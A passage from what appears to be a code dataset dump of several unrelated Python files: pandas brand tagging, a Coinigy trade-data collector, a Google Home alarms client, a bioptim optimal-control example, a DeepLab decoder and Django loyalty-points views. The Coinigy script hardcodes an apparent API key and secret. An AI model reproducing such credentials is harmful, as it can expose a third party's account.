posts_df.loc[r, 'Louisvuitton'] = 1\r\n\r\nprint('Tommy ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in tommy_posts_set:\r\n posts_df.loc[r, 'Tommy'] = 1\r\n\r\nprint('Gigi Hadid ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in gigi_posts_set:\r\n posts_df.loc[r, 'Gigi Hadid'] = 1\r\n\r\nprint('Nike ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in nike_posts_set:\r\n posts_df.loc[r, 'Nike'] = 1\r\n\r\nprint('Valentino ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in valentino_posts_set:\r\n posts_df.loc[r, 'Valentino'] = 1\r\n\r\nprint('Adidas ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in adidas_posts_set:\r\n posts_df.loc[r, 'Adidas'] = 1\r\n\r\nprint('Zara ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in zara_posts_set:\r\n posts_df.loc[r, 'Zara'] = 1\r\n\r\nprint('CalvinKlein ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in calvinklein_posts_set:\r\n posts_df.loc[r, 'CalvinKlein'] = 1\r\n\r\nprint('Victoria Secret ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in victora_posts_set:\r\n posts_df.loc[r, 'Victoria Secret'] = 1\r\n\r\nprint('Miumiu ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in miumiu_posts_set:\r\n posts_df.loc[r, 'Miumiu'] = 1\r\n\r\nprint('Bvlgari ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in bvlgari_posts_set:\r\n posts_df.loc[r, 'Bvlgari'] = 1\r\n\r\nprint('H&M ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in hm_posts_set:\r\n posts_df.loc[r, 'H&M'] = 1\r\n\r\nprint('Armani ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in armani_posts_set:\r\n posts_df.loc[r, 'Armani'] = 1\r\n\r\n\r\n# To save the new data frame\r\nposts_df.to_csv(\"posts_df_with_brands.csv\", sep=',', encoding='utf-8', index=False) # Save the new data frame","sub_path":"19-brands_analysis/1-brand_identification.py","file_name":"1-brand_identification.py","file_ext":"py","file_size_in_byte":12772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"541694392","text":"\n\n# This detrsmines the number of columns in the history attribute of each \n# reggression model\nlogSize = 6\n\n# Train phase metrics\ntrainMAE = 0\ntrainMAPE = 1\ntrainLoss = 2\n\n# Test phase metrics\ntestMAE = 3\ntestMAPE =\t4\ntestLoss = 5\n","sub_path":"Code/Tools/regression_idx.py","file_name":"regression_idx.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"584572370","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 26 20:54:30 2017\n\n@author: Paúl Herrera\n\"\"\"\n\nimport sys\n\nfrom mongo_handler import MyMongoClient\nfrom coinigy.coinigy_data_feeder import CoinigyWebsocket\nfrom coinigy.websocket_thread import ConnectThread\n\n\ndef get_arg(index, default):\n try:\n return sys.argv[index]\n except IndexError:\n return default\n\n\nif __name__ == \"__main__\":\n # Variables.\n key = \"67a4cf6b2800fb2a177693a61bff2b1a\"\n secret = \"8f756b95e898a8e42bbed7b0abb858d5\"\n channel = get_arg(1, 'TRADE-GDAX--BTC--USD')\n db_name = 'cc_data'\n\n # Initializing websocket.\n ws = CoinigyWebsocket(key, secret, channels=[channel], reconnect=False)\n connnectThread = ConnectThread(ws)\n # connnectThread.setDaemon(True)\n\n # Setting database and subscriptions.\n db = MyMongoClient(db_name, collection_name=channel)\n ws.pub.register(channel, db)\n\n # Start connection.\n connnectThread.start()\n print('\\nWaiting for connection')\n","sub_path":"ccplatform/trade_data_store.py","file_name":"trade_data_store.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"355108211","text":"\"\"\"\nRetrieve alarms from Google Home.\n\nThis code is released under the terms of the MIT license. See the LICENSE\nfile for more details.\n\"\"\"\nimport asyncio\nimport logging\nimport socket\n\nimport aiohttp\nimport async_timeout\n\nfrom .const import API\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass Alarms(object):\n \"\"\"A class for getting the alarms from a Google Home.\"\"\"\n\n def __init__(self, loop, session, ipaddress):\n \"\"\"Initialize the class.\"\"\"\n self._loop = loop\n self._ipaddress = ipaddress\n self._session = session\n self._alarms = []\n\n async def get_alarms(self):\n \"\"\"Get the alarms from the device.\"\"\"\n endpoint = '/setup/assistant/alarms'\n url = API.format(ip=self._ipaddress, endpoint=endpoint)\n try:\n async with async_timeout.timeout(5, loop=self._loop):\n response = await self._session.get(url)\n self._alarms = await response.json()\n except (asyncio.TimeoutError,\n aiohttp.ClientError, socket.gaierror) as error:\n _LOGGER.error('Error connecting to GHLocalApi, %s', error)\n\n @property\n def alarms(self):\n \"\"\"Return the alarms.\"\"\"\n return self._alarms\n","sub_path":"ghlocalapi/alarms.py","file_name":"alarms.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"529384384","text":"\"\"\"\nThis is an example of muscle activation/skin marker OR state tracking.\nRandom data are created by generating a random set of muscle activations and then by generating the kinematics\nassociated with these data. The solution is trivial since no noise is applied to the data. Still, it is a relevant\nexample to show how to track data using a musculoskeletal model. In real situation, the muscle activation\nand kinematics would indeed be acquired via data acquisition devices\n\nThe difference between muscle activation and excitation is that the latter is the derivative of the former\n\"\"\"\n\nimport platform\n\nfrom scipy.integrate import solve_ivp\nimport numpy as np\nimport biorbd_casadi as biorbd\nfrom casadi import MX, vertcat\nfrom matplotlib import pyplot as plt\nfrom bioptim import (\n BiorbdModel,\n OptimalControlProgram,\n NonLinearProgram,\n BiMapping,\n DynamicsList,\n DynamicsFcn,\n DynamicsFunctions,\n ObjectiveList,\n ObjectiveFcn,\n BoundsList,\n InitialGuessList,\n OdeSolver,\n OdeSolverBase,\n Node,\n Solver,\n RigidBodyDynamics,\n)\n\nfrom bioptim.optimization.optimization_variable import OptimizationVariableContainer\n\n\ndef generate_data(\n bio_model: BiorbdModel,\n final_time: float,\n n_shooting: int,\n use_residual_torque: bool = True,\n assume_phase_dynamics: bool = True,\n) -> tuple:\n \"\"\"\n Generate random data. If np.random.seed is defined before, it will always return the same results\n\n Parameters\n ----------\n bio_model: BiorbdModel\n The loaded biorbd model\n final_time: float\n The time at final node\n n_shooting: int\n The number of shooting points\n use_residual_torque: bool\n If residual torque are present or not in the dynamics\n assume_phase_dynamics: bool\n If the dynamics equation within a phase is unique or changes at each node. True is much faster, but lacks the\n capability to have changing dynamics within a phase. A good example of when False should be used is when\n different external forces are applied at each node\n\n Returns\n -------\n The time, marker, states and controls of the program. The ocp will try to track these\n \"\"\"\n\n # Aliases\n n_q = bio_model.nb_q\n n_qdot = bio_model.nb_qdot\n n_qddot = bio_model.nb_qddot\n n_tau = bio_model.nb_tau\n n_mus = bio_model.nb_muscles\n dt = final_time / n_shooting\n\n nlp = NonLinearProgram(assume_phase_dynamics=assume_phase_dynamics)\n nlp.model = bio_model\n nlp.variable_mappings = {\n \"q\": BiMapping(range(n_q), range(n_q)),\n \"qdot\": BiMapping(range(n_qdot), range(n_qdot)),\n \"tau\": BiMapping(range(n_tau), range(n_tau)),\n \"muscles\": BiMapping(range(n_mus), range(n_mus)),\n \"qddot\": BiMapping(range(n_qddot), range(n_qddot)),\n }\n\n # Casadi related stuff\n symbolic_q = MX.sym(\"q\", n_q, 1)\n symbolic_qdot = MX.sym(\"qdot\", n_qdot, 1)\n symbolic_qddot = MX.sym(\"qddot\", n_qddot, 1)\n symbolic_tau = MX.sym(\"tau\", n_tau, 1)\n symbolic_mus = MX.sym(\"muscles\", n_mus, 1)\n symbolic_parameters = MX.sym(\"params\", 0, 0)\n markers_func = biorbd.to_casadi_func(\"ForwardKin\", bio_model.markers, symbolic_q)\n\n nlp.states = OptimizationVariableContainer(assume_phase_dynamics=assume_phase_dynamics)\n nlp.states_dot = OptimizationVariableContainer(assume_phase_dynamics=assume_phase_dynamics)\n nlp.controls = OptimizationVariableContainer(assume_phase_dynamics=assume_phase_dynamics)\n nlp.states.initialize_from_shooting(n_shooting, MX)\n nlp.states_dot.initialize_from_shooting(n_shooting, MX)\n nlp.controls.initialize_from_shooting(n_shooting, MX)\n\n for node_index in range(n_shooting):\n nlp.states.append(\n \"q\",\n [symbolic_q, symbolic_q, symbolic_q],\n [symbolic_q, symbolic_q, symbolic_q],\n symbolic_q,\n nlp.variable_mappings[\"q\"],\n node_index,\n )\n nlp.states.append(\n \"qdot\",\n [symbolic_qdot, symbolic_qdot, symbolic_qdot],\n [symbolic_qdot, symbolic_qdot, symbolic_qdot],\n symbolic_qdot,\n nlp.variable_mappings[\"qdot\"],\n node_index,\n )\n\n nlp.states_dot.append(\n \"qdot\",\n [symbolic_qdot, symbolic_qdot, symbolic_qdot],\n [symbolic_qdot, symbolic_qdot, symbolic_qdot],\n symbolic_qdot,\n nlp.variable_mappings[\"qdot\"],\n node_index,\n )\n nlp.states_dot.append(\n \"qddot\",\n [symbolic_qddot, symbolic_qddot, symbolic_qddot],\n [symbolic_qddot, symbolic_qddot, symbolic_qddot],\n symbolic_qddot,\n nlp.variable_mappings[\"qddot\"],\n node_index,\n )\n\n if use_residual_torque:\n nlp.controls.append(\n \"tau\",\n [symbolic_tau, symbolic_tau, symbolic_tau],\n [symbolic_tau, symbolic_tau, symbolic_tau],\n symbolic_tau,\n nlp.variable_mappings[\"tau\"],\n node_index,\n )\n nlp.controls.append(\n \"muscles\",\n [symbolic_mus, symbolic_mus, symbolic_mus],\n [symbolic_mus, symbolic_mus, symbolic_mus],\n symbolic_mus,\n nlp.variable_mappings[\"muscles\"],\n node_index,\n )\n\n if use_residual_torque:\n nlp.variable_mappings[\"tau\"] = BiMapping(range(n_tau), range(n_tau))\n dyn_func = DynamicsFunctions.muscles_driven\n\n symbolic_states = vertcat(*(symbolic_q, symbolic_qdot))\n symbolic_controls = vertcat(*(symbolic_tau, symbolic_mus)) if use_residual_torque else vertcat(symbolic_mus)\n\n dynamics_func = biorbd.to_casadi_func(\n \"ForwardDyn\",\n dyn_func(\n states=symbolic_states,\n controls=symbolic_controls,\n parameters=symbolic_parameters,\n stochastic_variables=MX(),\n nlp=nlp,\n with_contact=False,\n rigidbody_dynamics=RigidBodyDynamics.ODE,\n ).dxdt,\n symbolic_states,\n symbolic_controls,\n symbolic_parameters,\n nlp,\n False,\n )\n\n def dyn_interface(t, x, u):\n if use_residual_torque:\n u = np.concatenate([np.zeros(n_tau), u])\n return np.array(dynamics_func(x, u, [])[:, 0]).squeeze()\n\n # Generate some muscle activation\n U = np.random.rand(n_shooting, n_mus).T\n\n # Integrate and collect the position of the markers accordingly\n X = np.ndarray((n_q + n_qdot, n_shooting + 1))\n markers = np.ndarray((3, bio_model.nb_markers, n_shooting + 1))\n\n def add_to_data(i, q):\n X[:, i] = q\n markers[:, :, i] = markers_func(q[0:n_q])\n\n x_init = np.array([0] * n_q + [0] * n_qdot)\n add_to_data(0, x_init)\n for i, u in enumerate(U.T):\n sol = solve_ivp(dyn_interface, (0, dt), x_init, method=\"RK45\", args=(u,))\n\n x_init = sol[\"y\"][:, -1]\n add_to_data(i + 1, x_init)\n\n time_interp = np.linspace(0, final_time, n_shooting + 1)\n return time_interp, markers, X, U\n\n\ndef prepare_ocp(\n bio_model: BiorbdModel,\n final_time: float,\n n_shooting: int,\n markers_ref: np.ndarray,\n activations_ref: np.ndarray,\n q_ref: np.ndarray,\n kin_data_to_track: str = \"markers\",\n use_residual_torque: bool = True,\n ode_solver: OdeSolverBase = OdeSolver.COLLOCATION(),\n n_threads: int = 1,\n assume_phase_dynamics: bool = True,\n expand_dynamics: bool = True,\n) -> OptimalControlProgram:\n \"\"\"\n Prepare the ocp to solve\n\n Parameters\n ----------\n bio_model: BiorbdModel\n The loaded biorbd model\n final_time: float\n The time at final node\n n_shooting: int\n The number of shooting points\n markers_ref: np.ndarray\n The marker to track if 'markers' is chosen in kin_data_to_track\n activations_ref: np.ndarray\n The muscle activation to track\n q_ref: np.ndarray\n The state to track if 'q' is chosen in kin_data_to_track\n kin_data_to_track: str\n The type of kin data to track ('markers' or 'q')\n use_residual_torque: bool\n If residual torque are present or not in the dynamics\n ode_solver: OdeSolverBase\n The ode solver to use\n n_threads: int\n The number of threads\n assume_phase_dynamics: bool\n If the dynamics equation within a phase is unique or changes at each node. True is much faster, but lacks the\n capability to have changing dynamics within a phase. A good example of when False should be used is when\n different external forces are applied at each node\n expand_dynamics: bool\n If the dynamics function should be expanded. Please note, this will solve the problem faster, but will slow down\n the declaration of the OCP, so it is a trade-off. Also depending on the solver, it may or may not work\n (for instance IRK is not compatible with expanded dynamics)\n\n Returns\n -------\n The OptimalControlProgram ready to solve\n \"\"\"\n\n # Add objective functions\n objective_functions = ObjectiveList()\n objective_functions.add(ObjectiveFcn.Lagrange.TRACK_CONTROL, key=\"muscles\", target=activations_ref)\n\n if use_residual_torque:\n objective_functions.add(ObjectiveFcn.Lagrange.MINIMIZE_CONTROL, key=\"tau\")\n\n if kin_data_to_track == \"markers\":\n objective_functions.add(ObjectiveFcn.Lagrange.TRACK_MARKERS, weight=100, target=markers_ref[:, :, :-1])\n elif kin_data_to_track == \"q\":\n objective_functions.add(ObjectiveFcn.Lagrange.TRACK_STATE, key=\"q\", weight=100, target=q_ref, node=Node.ALL)\n else:\n raise RuntimeError(\"Wrong choice of kin_data_to_track\")\n\n # Dynamics\n dynamics = DynamicsList()\n dynamics.add(DynamicsFcn.MUSCLE_DRIVEN, with_residual_torque=use_residual_torque, expand=expand_dynamics)\n\n # Path constraint\n x_bounds = BoundsList()\n x_bounds[\"q\"] = [-2 * np.pi] * bio_model.nb_q, [2 * np.pi] * bio_model.nb_q\n # Due to unpredictable movement of the forward dynamics that generated the movement, the bound must be larger\n x_bounds[\"qdot\"] = bio_model.bounds_from_ranges(\"qdot\")\n\n # Define control path constraint\n activation_min, activation_max, activation_init = 0.0, 1.0, 0.5\n u_bounds = BoundsList()\n u_init = InitialGuessList()\n if use_residual_torque:\n tau_min, tau_max, tau_init = -100.0, 100.0, 0.0\n u_bounds[\"tau\"] = [tau_min] * bio_model.nb_tau, [tau_max] * bio_model.nb_tau\n u_bounds[\"muscles\"] = [activation_min] * bio_model.nb_muscles, [activation_max] * bio_model.nb_muscles\n u_init[\"muscles\"] = [activation_init] * bio_model.nb_muscles\n # ------------- #\n\n return OptimalControlProgram(\n bio_model,\n dynamics,\n n_shooting,\n final_time,\n x_bounds=x_bounds,\n u_bounds=u_bounds,\n u_init=u_init,\n objective_functions=objective_functions,\n ode_solver=ode_solver,\n n_threads=n_threads,\n assume_phase_dynamics=assume_phase_dynamics,\n )\n\n\ndef main():\n \"\"\"\n Generate random data, then create a tracking problem, and finally solve it and plot some relevant information\n \"\"\"\n\n # Define the problem\n bio_model = BiorbdModel(\"models/arm26.bioMod\")\n final_time = 0.5\n n_shooting_points = 50\n use_residual_torque = True\n\n # Generate random data to fit\n t, markers_ref, x_ref, muscle_activations_ref = generate_data(\n bio_model,\n final_time,\n n_shooting_points,\n use_residual_torque=use_residual_torque,\n )\n\n # Track these data\n bio_model = BiorbdModel(\"models/arm26.bioMod\") # To allow for non free variable, the model must be reloaded\n ocp = prepare_ocp(\n bio_model,\n final_time,\n n_shooting_points,\n markers_ref,\n muscle_activations_ref,\n x_ref[: bio_model.nb_q, :],\n kin_data_to_track=\"q\",\n use_residual_torque=use_residual_torque,\n )\n\n # --- Solve the program --- #\n sol = ocp.solve(Solver.IPOPT(show_online_optim=platform.system() == \"Linux\"))\n\n # --- Show the results --- #\n q = sol.states[\"q\"]\n n_q = ocp.nlp[0].model.nb_q\n n_mark = ocp.nlp[0].model.nb_markers\n n_frames = q.shape[1]\n\n markers = np.ndarray((3, n_mark, q.shape[1]))\n symbolic_states = MX.sym(\"x\", n_q, 1)\n markers_func = biorbd.to_casadi_func(\"ForwardKin\", bio_model.markers, symbolic_states)\n\n for i in range(n_frames):\n markers[:, :, i] = markers_func(q[:, i])\n\n plt.figure(\"Markers\")\n n_steps_ode = ocp.nlp[0].ode_solver.steps + 1 if ocp.nlp[0].ode_solver.is_direct_collocation else 1\n for i in range(markers.shape[1]):\n plt.plot(\n np.linspace(0, final_time, n_shooting_points + 1),\n markers_ref[:, i, :].T,\n \"k\",\n )\n plt.plot(\n np.linspace(0, final_time, n_shooting_points * n_steps_ode + 1),\n markers[:, i, :].T,\n \"r--\",\n )\n\n # --- Plot --- #\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"bioptim/examples/muscle_driven_ocp/muscle_activations_tracker.py","file_name":"muscle_activations_tracker.py","file_ext":"py","file_size_in_byte":13041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"485690550","text":"import torch\nfrom torch import nn\nfrom torch.nn import functional as F\n\n\nclass DeepLabV3PlusDecoder(nn.Module):\n def __init__(self, encoder_channels, out_channels=128, output_stride=16):\n super().__init__()\n \n if output_stride not in {8, 16}:\n raise ValueError(\"Output stride should be 8 or 16, got {}.\".format(output_stride))\n\n self.out_channels = out_channels\n self.output_stride = output_stride\n\n scale_factor = 2 if output_stride == 8 else 4\n # Upsampling of the \"green\" feature maps in the paper\n self.up = Pixel_Shuffle_Module(out_channels, out_channels, scale_factor)\n\n highres_in_channels = encoder_channels[-4]\n highres_out_channels = 48 # proposed by authors of paper\n \n highres_out_channels2 = encoder_channels[-5] \n \n # 1x1 Conv to reduce the number of channels of high resolution feature maps (F2) used in the decoder\n self.block1 = nn.Sequential(\n nn.Conv2d(highres_in_channels, highres_out_channels, kernel_size=1, bias=False),\n nn.BatchNorm2d(highres_out_channels),\n nn.ReLU(),\n )\n \n # 3x3 Conv to fuse the high resolution features (F2) with the ASPP features\n self.block2 = nn.Sequential(\n SeparableConv2d(\n highres_out_channels + out_channels,\n out_channels,\n kernel_size=3,\n padding=1,\n bias=False,\n ),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(),\n )\n # Added the other 3x3 Conv, 128 filters\n self.block3 = nn.Sequential(\n SeparableConv2d(\n out_channels,\n out_channels,\n kernel_size=3,\n padding=1,\n bias=False,\n ),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(),\n )\n \n self.up2 = Pixel_Shuffle_Module(out_channels, out_channels, 2)\n \n self.block4 = nn.Sequential(\n SeparableConv2d(\n highres_out_channels2 + out_channels,\n out_channels,\n kernel_size=3,\n padding=1,\n bias=False,\n ),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(),\n )\n # The final upsampling by 2 is done in the SegmentationHead part, with the projection of the number of channels to the desired classes\n # Another upsampling by 2 is done in the final upsampling module for Super-Resolution\n \n def forward(self, aspp_features, *features_resnet):\n # Upsample the ASPP features (output of the encoder) x4, 128 channels\n aspp_features = self.up(aspp_features)\n\n # Reduce the low-level resnet features (F2) channels from 256 to 48\n high_res_features = self.block1(features_resnet[-4])\n\n # Concatenate both feature maps (First skip connection) -> 128 + 48 = 176 channels\n concat_features = torch.cat([aspp_features, high_res_features], dim=1)\n\n # Conv 3x3, 128 filters to fuse the feature maps to 128 channels\n fused_features = self.block2(concat_features)\n\n # 2nd Conv 3x3, 128 filters\n fused_features = self.block3(fused_features)\n\n # Upsample x2\n fused_features = self.up2(fused_features)\n\n # Concatenate with F1 feature maps (Long skip connection) -> 128 + 64 = 192 channels\n concat_features2 = torch.cat([fused_features, features_resnet[-5]], dim=1)\n\n # Conv 3x3, 128 filters to fuse the feature maps to 128 channels\n fused_features = self.block4(concat_features2)\n \n return fused_features\n\n\n\nclass SeparableConv2d(nn.Sequential):\n\n def __init__(self, in_channels, out_channels, kernel_size, stride=1, padding=0, dilation=1, bias=True):\n dephtwise_conv = nn.Conv2d(\n in_channels,\n in_channels,\n kernel_size,\n stride=stride,\n padding=padding,\n dilation=dilation,\n groups=in_channels,\n bias=False,\n )\n pointwise_conv = nn.Conv2d(in_channels, out_channels, kernel_size=1, bias=bias)\n super().__init__(dephtwise_conv, pointwise_conv)\n\n\nclass Pixel_Shuffle_Module(nn.Module):\n def __init__(self, in_channels, out_channels, scale_factor):\n super().__init__()\n \n self.conv = nn.Conv2d(in_channels, out_channels*(scale_factor**2), kernel_size=3, stride=1, padding=1)\n\n self.up = nn.PixelShuffle(scale_factor)\n \n def forward(self, LR_in):\n \n HR_out = self.conv(LR_in)\n \n HR_out = self.up(HR_out)\n \n return HR_out","sub_path":"deeplabv3/decoder_PixelShuffle.py","file_name":"decoder_PixelShuffle.py","file_ext":"py","file_size_in_byte":4724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"347974571","text":"from django.shortcuts import render,get_object_or_404,redirect\nfrom .models import Item,orderitem,order,order_details,userprofile,loyaltycoins,point_master\nfrom django.contrib.auth.models import User,auth\nfrom django.contrib import messages\nfrom django.utils import timezone\nfrom django.views.generic import ListView, DetailView, View,TemplateView\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.db.models import F\nfrom django.db.models import Sum\nimport string\nfrom .forms import editform\nimport random\nfrom datetime import datetime\nfrom django.http import HttpResponse\n\ndef create_ref_code(size=10, chars= string.digits):\n return ''.join(random.choice(chars) for _ in range(size))\n\ndef products(request):\n # grocery items displaying\n prod_list = Item.objects.all()\n return render(request,'loyaltypoints/index.html',{'produc':prod_list})\n\ndef customerprofile(request):\n # Customer Profile Page\n details = loyaltycoins.objects.filter(user=request.user,points_exp__lt=datetime.now())\n for detai in details:\n detai.point_status=True\n \n detai.save()\n #coi = loyaltycoins.objects.filter(user=request.user,points_exp__lt=datetime.now()).update(point_status=True)\n \n total_earned=loyaltycoins.objects.filter(user=request.user,point_status=False).aggregate(Sum('points_earned')) \n total_redeem1=loyaltycoins.objects.filter(user=request.user,point_status=False).aggregate(Sum('points_redeem')) \n if not total_redeem1.get('points_redeem__sum'):\n total_redeem1['points_redeem__sum']=0\n \n details = userprofile.objects.get(user=request.user)\n if not total_earned.get('points_earned__sum'):\n total_earned['points_earned__sum']=0\n\n # updating Total Points in customer profile page\n details.total_points=total_earned.get('points_earned__sum')-total_redeem1.get('points_redeem__sum')\n details.save()\n \n customer = userprofile.objects.get(user=request.user)\n orders = order.objects.filter(user=request.user).order_by(\"orderid\")\n coina = loyaltycoins.objects.filter(user=request.user).order_by(\"point_id\")\n context={'profile':customer,\"ordereditems\":zip(orders,coina),'loyal':coina,'total_redeem':total_redeem1.get('points_redeem__sum'),'total_earned':total_earned.get('points_earned__sum')}\n return render(request, \"loyaltypoints/customerprofile.html\",context)\n\n \n\ndef add_to_cart(request, slug):\n # add to cart Functionality\n item = get_object_or_404(Item, slug=slug)\n \n order_item, created = orderitem.objects.get_or_create(\n item_details=item,\n user=request.user,\n ordered=False\n )\n order_qs = order.objects.filter(user=request.user, ordered=False)\n if order_qs.exists():\n order1 = order_qs[0]\n # check if the order item is in the order\n if order1.products.filter(item_details__slug=item.slug).exists():\n \n\n order_item.quantity += 1\n if order_item.quantity>=5:\n order_item.quantity=5\n\n\n \n order_item.save()\n \n messages.info(request, \"This item quantity was updated.\")\n return redirect(\"loyaltypoints:order-summary\")\n else:\n\n order1.products.add(order_item)\n messages.info(request, \"This item was added to your cart.\")\n return redirect(\"loyaltypoints:order-summary\")\n #Order Creating\n else: \n order1 = order.objects.create(\n user=request.user)\n order2 = order.objects.get(user=request.user,ordered=False)\n order2.products.add(order_item)\n messages.info(request, \"This item was added to your cart.\")\n\n return redirect(\"loyaltypoints:order-summary\")\n\ndef remove_single_item_from_cart(request, slug):\n item = get_object_or_404(Item, slug=slug)\n order_qs = order.objects.filter(\n user=request.user,\n ordered=False\n )\n if order_qs.exists():\n order1 = order_qs[0]\n # check if the order item is in the order\n if order1.products.filter(item_details__slug=item.slug).exists():\n order_item = orderitem.objects.filter(\n item_details=item,\n user=request.user,\n ordered=False\n )[0]\n if order_item.quantity > 1:\n order_item.quantity -= 1\n order_item.save()\n else:\n order1.products.remove(order_item)\n messages.info(request, \"This item quantity was updated.\")\n return redirect(\"loyaltypoints:order-summary\")\n \n else:\n messages.info(request, \"This item was not in your cart\")\n return redirect(\"loyaltypoints:order-summary\", slug=slug)\n else:\n messages.info(request, \"You do not have an active order\")\n return redirect(\"loyaltypoints:order-summary\", slug=slug)\n \nclass Checkout(View):\n def get(self, *args, **kwargs):\n try:\n order2 = order.objects.get(user=self.request.user, ordered=False)\n order2.total_price = order2.get_total()\n order2.save()\n coi = loyaltycoins.objects.filter(user=self.request.user,points_exp__lt=datetime.now()).update(point_status=True)\n total_pric=loyaltycoins.objects.filter(user=self.request.user,point_status=False).aggregate(Sum('points_earned')) \n total_redeem1=loyaltycoins.objects.filter(user=self.request.user,point_status=False).aggregate(Sum('points_redeem')) \n if total_pric.get('points_earned__sum'):\n details = userprofile.objects.get(user=self.request.user)\n details.total_points = total_pric.get('points_earned__sum')-total_redeem1.get('points_redeem__sum')\n details.save()\n userdetail = userprofile.objects.get(user=self.request.user)\n context = {\n 'object': order2,\n 'profile':userdetail \n }\n return render(self.request, 'loyaltypoints/checkout.html', context)\n except ObjectDoesNotExist:\n messages.warning(self.request, \"You do not have an active order\")\n return redirect(\"/\")\n\n\n\n# Completing the order\ndef completeorder2(request,slug):\n objec = order.objects.get(user=request.user,orderid=slug)\n \n points_track = point_master.objects.get()\n userpro = userprofile.objects.get(user=request.user)\n context = {\n 'order_obj':objec,\n 'profile':userpro,\n 'points_track':points_track\n \n }\n\n if request.method == 'POST':\n if userpro.total_points>=points_track.min_redeem:\n redeemp = request.POST['redeempoints']\n redeem = float(redeemp)\n else:\n redeem=0\n if order is not None:\n\n order_update = order.objects.get(user=request.user,ordered=False)\n order_update.ordered=True\n order_update.orderrefid=create_ref_code()\n order_update.orderid=slug\n order_update.save()\n order_item_update = orderitem.objects.filter(user=request.user,ordered=False)\n for item in order_item_update:\n item.ordered = True\n item.save()\n order2 = order.objects.get(user=request.user,orderid=slug)\n if userpro.total_points>=points_track.min_redeem:\n total = order2.total_price-redeem\n else:\n total = order2.total_price\n if total>points_track.from_point and total<points_track.to_point:\n earned = total*points_track.percentage1\n\n if userpro.total_points>=points_track.min_redeem:\n coin = loyaltycoins.objects.create(user=request.user,points_earned=earned,points_redeem=redeem)\n \n elif userpro.total_points<points_track.min_redeem:\n coin = loyaltycoins.objects.create(user=request.user,points_earned=earned)\n \n elif total<points_track.from_point:\n earned = points_track.min_points\n if userpro.total_points>=points_track.min_redeem:\n \n coin = loyaltycoins.objects.create(user=request.user,points_earned=earned,points_redeem=redeem)\n elif userpro.total_points<points_track.min_redeem:\n coin = loyaltycoins.objects.create(user=request.user,points_earned=earned)\n \n\n\n elif total>points_track.to_point:\n \n earned = total*points_track.percentage2\n if earned>=points_track.max_points:\n earned=points_track.max_points\n if userpro.total_points>=points_track.min_redeem:\n coin = loyaltycoins.objects.create(user=request.user,points_earned=earned,points_redeem=redeem)\n elif userpro.total_points<points_track.min_redeem:\n coin = loyaltycoins.objects.create(user=request.user,points_earned=earned)\n else:\n if userpro.total_points>=points_track.min_redeem:\n coin = loyaltycoins.objects.create(user=request.user,points_earned=earned,points_redeem=redeem)\n \n elif userpro.total_points<points_track.min_redeem:\n coin = loyaltycoins.objects.create(user=request.user,points_earned=earned)\n\n\n \n \n coi = loyaltycoins.objects.filter(user=request.user,points_exp__lt=datetime.now()).update(point_status=True)\n total_earned=loyaltycoins.objects.filter(user=request.user,point_status=False).aggregate(Sum('points_earned')) \n total_redeem1=loyaltycoins.objects.filter(user=request.user,point_status=False).aggregate(Sum('points_redeem')) \n if not total_redeem1.get('points_redeem__sum'):\n total_redeem1['points_redeem__sum']=0\n \n details = userprofile.objects.get(user=request.user)\n if not total_earned.get('points_earned__sum'):\n total_earned['points_earned__sum']=0\n\n \n details.total_points=total_earned.get('points_earned__sum')-total_redeem1.get('points_redeem__sum')\n details.save()\n\n userp = userprofile.objects.get(user=request.user)\n \n\n totall = userp.total_points-redeem\n userp.total_points = totall\n userp.save()\n redeem_total = order2.total_price-redeem\n order2.total_price=redeem_total\n order2.save()\n final = loyaltycoins.objects.last()\n return redirect('loyaltypoints:ordersuces',slug=final.point_id)\n else:\n\n return redirect('loyaltypoints:order-summary')\n return render(request,'loyaltypoints/ordersummary.html',context)\n\n# after Succesfully order placed\ndef referid(request,slug):\n orde2 = order.objects.last()\n id1 = orde2.orderid\n order3 = order.objects.get(user=request.user,orderid=id1)\n coina = loyaltycoins.objects.get(user=request.user,point_id=slug)\n userpro = userprofile.objects.get(user=request.user)\n return render(request,'loyaltypoints/ordersuces.html',{'object':order3,'user':userpro,'point':coina})\n\n\n\n\n\nclass CustomerOrderDetailView(DetailView):\n template_name = \"loyaltypoints/customerorderdetail.html\"\n model = order\n context_object_name = \"ord_obj\"\n\n def dispatch(self, request, *args, 